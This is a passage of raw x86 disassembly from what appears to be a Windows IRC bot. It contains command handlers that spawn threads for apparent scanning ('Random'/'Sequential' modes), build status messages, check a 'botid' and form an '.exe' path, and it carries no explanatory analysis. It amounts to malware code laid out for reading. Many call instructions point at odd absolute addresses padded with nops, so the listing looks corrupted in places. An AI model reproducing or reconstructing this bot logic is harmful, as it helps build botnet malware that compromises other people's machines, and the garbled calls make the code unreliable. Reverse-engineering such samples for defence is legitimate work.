		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

loc_411EF1:				; CODE XREF: sub_40EE72+3074j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_411EFE
		mov	[ebp+var_32C], ecx

loc_411EFE:				; CODE XREF: sub_40EE72+3084j
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, 270Fh
		pop	ecx
		mov	[ebp+var_328], eax
		jbe	short loc_411F1E
		mov	[ebp+var_328], 270Fh

loc_411F1E:				; CODE XREF: sub_40EE72+30A0j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_42ACB0, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_411F74
		mov	[ebp+arg_24], offset dword_42ACB0

loc_411F37:				; CODE XREF: sub_40EE72+30E4j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411F5A
		add	[ebp+arg_24], 3Ch
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_411F37
		jmp	short loc_411F74
; ---------------------------------------------------------------------------

loc_411F5A:				; CODE XREF: sub_40EE72+30D6j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_42ACB0[ecx]
		mov	[ebp+var_330], ecx

loc_411F74:				; CODE XREF: sub_40EE72+30BCj
					; sub_40EE72+30E6j
		cmp	[ebp+var_330], ebx
		jz	loc_414039
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		mov	[ebp+arg_18], edi
		jz	short loc_411FBB
		cmp	byte ptr [edi],	23h
		jz	short loc_411FBB
		push	edi
		lea	eax, [ebp+var_444]
		push	10h
		push	eax
		call	sub_41782A
		push	78h
		push	edi
		call	sub_418F50
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_304], eax
		jmp	loc_41208F
; ---------------------------------------------------------------------------

loc_411FBB:				; CODE XREF: sub_40EE72+3117j
					; sub_40EE72+311Cj
		cmp	[ebp+var_9C7], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9C6], bl
		jnz	short loc_411FDD
		cmp	[ebp+var_9B6], bl
		jnz	short loc_411FDD
		push	offset unk_431694
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_411FDD:				; CODE XREF: sub_40EE72+314Fj
					; sub_40EE72+3157j ...
		push	10h
		lea	eax, [ebp+arg_0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		mov	[ebp+arg_0], edi
		push	[ebp+arg_4]
		call	dword_43AD3C
		mov	al, [ebp+var_9C7]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		cmp	[ebp+var_9B6], bl
		jz	short loc_412089
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_418F10
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_41207D

loc_41205B:				; CODE XREF: sub_40EE72+3209j
		cmp	eax, ebx
		jz	short loc_41207D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_418F10
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_41205B

loc_41207D:				; CODE XREF: sub_40EE72+31E7j
					; sub_40EE72+31EBj
		mov	[ebp+var_304], 1
		jmp	short loc_41208F
; ---------------------------------------------------------------------------

loc_412089:				; CODE XREF: sub_40EE72+31C1j
		mov	[ebp+var_304], ebx

loc_41208F:				; CODE XREF: sub_40EE72+3144j
					; sub_40EE72+3215j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	[ebp+var_334], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	edi, 80h
		lea	eax, [ebp+var_434]
		push	edi
		push	eax
		call	sub_41782A
		mov	esi, [ebp+esi+var_7C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4120E0

loc_4120CD:				; CODE XREF: sub_40EE72+3291j
		push	esi

loc_4120CE:				; CODE XREF: sub_40EE72+327Bj
		lea	eax, [ebp+var_3B4]
		push	edi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		jmp	short loc_41210B
; ---------------------------------------------------------------------------

loc_4120E0:				; CODE XREF: sub_40EE72+3259j
		mov	eax, [ebp+arg_18]
		cmp	eax, ebx
		jz	short loc_4120EF
		cmp	byte ptr [eax],	23h
		jnz	short loc_4120EF
		push	eax
		jmp	short loc_4120CE
; ---------------------------------------------------------------------------

loc_4120EF:				; CODE XREF: sub_40EE72+3273j
					; sub_40EE72+3278j
		mov	esi, offset aF	; "#f"
		push	offset byte_436EDC
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4120CD
		mov	[ebp+var_3B4], bl

loc_41210B:				; CODE XREF: sub_40EE72+326Cj
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_41211D
		mov	eax, offset aSequential	; "Sequential"

loc_41211D:				; CODE XREF: sub_40EE72+32A4j
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431610
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_40797F
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4121AB

loc_412195:				; CODE XREF: sub_40EE72+3337j
		cmp	[ebp+var_300], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_412195
; ---------------------------------------------------------------------------

loc_4121AB:				; CODE XREF: sub_40EE72+3321j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_4315C8
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_4121BC:				; CODE XREF: sub_40EE72+279Aj
					; sub_40EE72+27B1j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_4315BC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	* %s %s"

loc_4122A7:				; CODE XREF: sub_40EE72+3532j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_4122D4:				; CODE XREF: sub_40EE72+276Cj
					; sub_40EE72+2783j
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		cmp	byte_440808[eax], bl
		jz	loc_414F47
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		call	sub_417AB0
		push	edi
		mov	esi, eax
		call	sub_417AB0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 400h
		pop	ecx
		jge	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4407FC[eax]
		call	sub_40D679
		push	edi
		call	sub_41781F
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_4405F0[eax], 73h
		jnz	loc_414F47
		push	esi
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_440808
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_0	; "[%s]	<%s> %s"
		jmp	loc_4122A7
; ---------------------------------------------------------------------------

loc_4123A9:				; CODE XREF: sub_40EE72+273Ej
					; sub_40EE72+2755j
		push	edi
		call	dword_43ADD8
		push	[ebp+arg_18]
		mov	[ebp+var_474], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_480], eax
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_47C], eax
		lea	eax, [ebp+var_500]
		mov	[ebp+var_504], esi
		push	eax
		call	sub_418C10
		add	esp, 14h
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_46C], edi
		push	[ebp+var_47C]
		mov	[ebp+var_468], eax
		push	[ebp+var_480]
		push	[ebp+var_474]
		call	dword_43AE24
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_431550
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_478], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_504]
		push	ebx
		push	eax
		push	offset byte_415E37
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_478]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_41248B

loc_412475:				; CODE XREF: sub_40EE72+3617j
		cmp	[ebp+var_464], ebx
		jnz	loc_4144E5
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_412475
; ---------------------------------------------------------------------------

loc_41248B:				; CODE XREF: sub_40EE72+3601j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_431504
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_41249C:				; CODE XREF: sub_40EE72+2710j
					; sub_40EE72+2727j
		push	edi
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_314], eax
		push	[ebp+arg_18]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		call	sub_41781F
		mov	esi, [ebp+arg_4]
		add	esp, 14h
		mov	[ebp+var_318], eax
		lea	eax, [ebp+var_398]
		push	[ebp+var_8C]
		mov	[ebp+var_420], esi
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		mov	edi, [ebp+var_4]
		mov	[ebp+var_304], eax
		push	[ebp+var_318]
		lea	eax, [ebp+var_418]
		mov	[ebp+var_308], edi
		push	eax
		push	[ebp+var_314]
		push	esi
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_4314B8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	10h
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		push	offset sub_407BDE
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412588

loc_412572:				; CODE XREF: sub_40EE72+3714j
		cmp	[ebp+var_300], ebx
		jnz	loc_4144E5
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_412572
; ---------------------------------------------------------------------------

loc_412588:				; CODE XREF: sub_40EE72+36FEj
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_431464
		jmp	loc_4144D6
; ---------------------------------------------------------------------------

loc_412599:				; CODE XREF: sub_40EE72+26E2j
					; sub_40EE72+26F9j
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		push	0FFh
		lea	eax, [ebp+var_680]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	[ebp+arg_0]
		mov	[ebp+var_57C], ebx
		call	sub_41781F
		mov	[ebp+var_578], eax
		mov	eax, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	eax, ebx
		jz	short loc_4125F5
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_4125FB
; ---------------------------------------------------------------------------

loc_4125F5:				; CODE XREF: sub_40EE72+376Dj
		mov	[ebp+var_570], ebx

loc_4125FB:				; CODE XREF: sub_40EE72+3781j
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	short loc_412612
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412618
; ---------------------------------------------------------------------------

loc_412612:				; CODE XREF: sub_40EE72+378Fj
		mov	[ebp+var_574], ebx

loc_412618:				; CODE XREF: sub_40EE72+379Ej
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_568], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431428
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	16h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4126C9

loc_4126B3:				; CODE XREF: sub_40EE72+3855j
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_4126B3
; ---------------------------------------------------------------------------

loc_4126C9:				; CODE XREF: sub_40EE72+383Fj
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_4313D8
		jmp	loc_4128CC
; ---------------------------------------------------------------------------

loc_4126DA:				; CODE XREF: sub_40EE72+26B4j
					; sub_40EE72+26CBj
		push	7Fh
		lea	eax, [ebp+var_76C]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6EC]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_66C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_8]
		add	esp, 30h
		mov	esi, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_770], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_568], esi
		push	edi
		push	offset dword_43139C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Bh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_770]
		push	ebx
		push	eax
		push	offset sub_4019D7
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4127AD

loc_41279B:				; CODE XREF: sub_40EE72+3939j
		cmp	[ebp+var_560], ebx
		jnz	short loc_4127C8
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_41279B
; ---------------------------------------------------------------------------

loc_4127AD:				; CODE XREF: sub_40EE72+3927j
		nop
		call	near ptr 2660AEBh
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_431354
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4127C8:				; CODE XREF: sub_40EE72+392Fj
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	esi
		jmp	loc_414619
; ---------------------------------------------------------------------------

loc_4127D8:				; CODE XREF: sub_40EE72+266Fj
					; sub_40EE72+2686j ...
		push	7Fh
		lea	eax, [ebp+var_7E8]
		pop	esi
		push	esi
		push	edi
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_768]
		push	[ebp+arg_18]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_6E8]
		push	[ebp+arg_0]
		push	eax
		call	sub_418C10
		push	esi
		lea	eax, [ebp+var_668]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		push	20h
		lea	eax, [ebp+var_5E8]
		push	[ebp+arg_8]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 3Ch
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_568], eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		mov	[ebp+var_7F0], esi
		push	edi
		push	offset unk_431314
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ah
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_7EC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F0]
		push	ebx
		push	eax
		push	offset sub_401000
		push	ebx
		push	ebx
		call	near ptr 2690AC4h
		nop
		mov	ecx, [ebp+var_7EC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4128C0

loc_4128AA:				; CODE XREF: sub_40EE72+3A4Cj
		cmp	[ebp+var_560], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4128AA
; ---------------------------------------------------------------------------

loc_4128C0:				; CODE XREF: sub_40EE72+3A36j
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_4312CC

loc_4128CC:				; CODE XREF: sub_40EE72+2E92j
					; sub_40EE72+2FEEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		jmp	loc_411D1F
; ---------------------------------------------------------------------------

loc_4128DD:				; CODE XREF: sub_40EE72+2641j
					; sub_40EE72+2658j
		push	7Fh
		lea	eax, [ebp+var_458]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	3Fh
		mov	[ebp+var_308], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_3D8]
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_84]
		add	esp, 1Ch
		cmp	esi, ebx
		jz	short loc_41292B
		push	3Fh
		lea	eax, [ebp+var_398]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_41292B:				; CODE XREF: sub_40EE72+3AA5j
		lea	eax, [ebp+var_3D8]
		mov	[ebp+var_304], 1
		push	eax
		lea	eax, [ebp+var_458]
		push	[ebp+var_308]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43128C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	18h
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_45C]
		push	ebx
		push	eax
		push	offset sub_40EB92
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_300]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_4129B7

loc_4129A1:				; CODE XREF: sub_40EE72+3B43j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_413A62
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_4129A1
; ---------------------------------------------------------------------------

loc_4129B7:				; CODE XREF: sub_40EE72+3B2Dj
		nop
		call	near ptr 2660AEBh
		push	eax
		push	offset unk_431244
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_4129C8:				; CODE XREF: sub_40EE72+2601j
					; sub_40EE72+2618j
		push	[ebp+arg_18]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_412ABF
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_6F8]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_18]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431208
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Dh
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_40144A
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412AAE

loc_412A98:				; CODE XREF: sub_40EE72+3C3Aj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 2610E42h
		nop
		jmp	short loc_412A98
; ---------------------------------------------------------------------------

loc_412AAE:				; CODE XREF: sub_40EE72+3C24j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_4311C0
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_412ABF:				; CODE XREF: sub_40EE72+3B67j
		push	offset unk_431178
		jmp	loc_4145FE
; ---------------------------------------------------------------------------

loc_412AC9:				; CODE XREF: sub_40EE72+25D3j
					; sub_40EE72+25EAj
		push	[ebp+arg_18]
		push	edi
		call	near ptr 27F0992h
		nop
		test	eax, eax
		jz	short loc_412AF9
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset unk_431144
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 14h
		jmp	loc_41460C
; ---------------------------------------------------------------------------

loc_412AF9:				; CODE XREF: sub_40EE72+3C63j
		push	offset dword_431128
		call	sub_40AA35
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		jmp	loc_413C09
; ---------------------------------------------------------------------------

loc_412B1B:				; CODE XREF: sub_40EE72+25A5j
					; sub_40EE72+25BCj
		push	edi
		lea	eax, [ebp+var_774]
		push	104h
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		cmp	[ebp+var_C], ebx
		jz	short loc_412B55
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412B55
		push	eax
		lea	eax, [ebp+var_670]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_412B55:				; CODE XREF: sub_40EE72+3CC1j
					; sub_40EE72+3CD2j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_7F4]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_7F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_670]
		push	eax
		lea	eax, [ebp+var_774]
		push	eax
		push	offset unk_4310E8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Ch
		push	eax
		call	sub_416D5C
		add	esp, 20h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_7F8]
		push	ebx
		push	eax
		push	offset sub_408DCA
		push	ebx
		push	ebx
		nop
		call	near ptr 2690AC4h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_440804[ecx], eax
		jz	short loc_412C0B

loc_412BF5:				; CODE XREF: sub_40EE72+3D97j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 2610E42h
		jmp	short loc_412BF5
; ---------------------------------------------------------------------------

loc_412C0B:				; CODE XREF: sub_40EE72+3D81j
		call	near ptr 2660AEBh
		nop
		push	eax
		push	offset unk_43109C
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_412C1C:				; CODE XREF: sub_40EE72+2577j
					; sub_40EE72+258Ej
		push	44h
		lea	eax, [ebp+var_4A0]
		pop	esi
		push	esi
		push	ebx
		push	eax
		call	sub_417330
		push	1
		mov	[ebp+var_4A0], esi
		pop	esi
		mov	word ptr [ebp+var_470],	bx
		push	edi
		mov	[ebp+var_474], esi
		call	sub_41781F
		add	esp, 10h
		cmp	eax, esi
		jnz	short loc_412C59
		mov	word ptr [ebp+var_470],	5

loc_412C59:				; CODE XREF: sub_40EE72+3DDCj
		cmp	[ebp+var_C], ebx
		jz	loc_413A62
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	loc_413A62
		lea	eax, [ebp+var_2EC]
		push	eax
		lea	eax, [ebp+var_4A0]
		push	eax
		push	ebx
		push	ebx
		push	28h
		push	esi
		push	ebx
		push	ebx
		push	edi
		push	ebx
		nop
		call	near ptr 2770603h
		test	eax, eax
		jnz	short loc_412CA4
		push	offset unk_431068
		jmp	loc_413A54
; ---------------------------------------------------------------------------

loc_412CA4:				; CODE XREF: sub_40EE72+3E26j
		push	edi
		push	offset dword_431040
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412CAF:				; CODE XREF: sub_40EE72+2549j
					; sub_40EE72+2560j
		push	[ebp+arg_18]
		push	offset aBotid	; "botid"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E29
		lea	eax, [ebp+var_3FC]
		push	eax
		push	104h
		nop
		call	near ptr 2790101h
		push	0FFh
		lea	eax, [ebp+var_780]
		push	edi
		push	eax
		call	sub_418C10
		lea	eax, [ebp+var_2F8]
		push	eax
		call	sub_4159F4
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		lea	eax, [ebp+var_680]
		push	offset aSS_exe	; "%s%s.exe"
		push	eax
